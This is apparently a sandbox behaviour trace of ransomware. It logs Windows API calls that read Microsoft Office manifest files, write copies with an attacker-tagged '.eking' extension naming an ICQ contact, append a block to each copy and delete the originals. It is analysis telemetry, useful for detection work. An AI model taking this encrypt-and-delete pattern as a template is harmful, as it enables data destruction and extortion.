(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0250.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0250.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0250.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0250.134] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0250.134] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0250.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0250.135] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0250.174] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0250.176] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0250.176] CloseHandle (hObject=0x348) returned 1 [0250.176] CloseHandle (hObject=0x38c) returned 1 [0250.177] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0 [0250.177] SetEvent (hEvent=0x2b8) returned 1 [0250.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0250.179] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1124942) returned 1 [0250.179] CloseHandle (hObject=0x38c) returned 1 [0250.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0250.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0250.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0250.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0250.180] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0250.180] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0250.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0250.187] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x110100, lpOverlapped=0x0) returned 1 [0250.518] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x110100, lpOverlapped=0x0) returned 1 [0250.675] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x294e, lpOverlapped=0x0) returned 1 [0250.675] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2950, lpOverlapped=0x0) returned 1 [0250.676] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0250.676] CloseHandle (hObject=0x38c) returned 1 [0250.677] CloseHandle (hObject=0x348) returned 1 [0250.677] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0 [0250.679] SetEvent (hEvent=0x2b8) returned 1 [0250.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0250.724] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19451) returned 1 [0250.724] CloseHandle (hObject=0x38c) returned 1 [0250.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0250.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0250.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0250.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0250.725] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0250.725] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0250.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0250.726] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4bfb, lpOverlapped=0x0) returned 1 [0251.485] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4c00, lpOverlapped=0x0) returned 1 [0251.487] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0251.487] CloseHandle (hObject=0x38c) returned 1 [0251.487] CloseHandle (hObject=0x398) returned 1 [0251.488] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0 [0251.488] SetEvent (hEvent=0x2b8) returned 1 [0251.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.490] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2147) returned 1 [0251.490] CloseHandle (hObject=0x398) returned 1 [0251.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0251.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0251.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0251.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.491] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0251.491] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0251.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0251.492] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x863, lpOverlapped=0x0) returned 1 [0251.626] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x870, lpOverlapped=0x0) returned 1 [0251.627] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0251.628] CloseHandle (hObject=0x398) returned 1 [0251.628] CloseHandle (hObject=0x38c) returned 1 [0251.629] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0 [0251.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.152] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0252.152] CloseHandle (hObject=0x390) returned 1 [0252.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.154] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.154] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0252.156] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0252.159] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0252.160] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0252.160] CloseHandle (hObject=0x390) returned 1 [0252.160] CloseHandle (hObject=0x39c) returned 1 [0252.161] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0 [0252.161] SetEvent (hEvent=0x2b8) returned 1 [0252.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.162] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=343329) returned 1 [0252.162] CloseHandle (hObject=0x39c) returned 1 [0252.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0252.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0252.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.163] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.163] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0252.164] ReadFile (in: hFile=0x39c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x53d21, lpOverlapped=0x0) returned 1 [0252.181] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x53d30, lpOverlapped=0x0) returned 1 [0252.479] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0252.480] CloseHandle (hObject=0x39c) returned 1 [0252.480] CloseHandle (hObject=0x390) returned 1 [0252.480] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0 [0252.481] SetEvent (hEvent=0x2b8) returned 1 [0252.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.483] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0252.483] CloseHandle (hObject=0x390) returned 1 [0252.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.484] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.484] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft 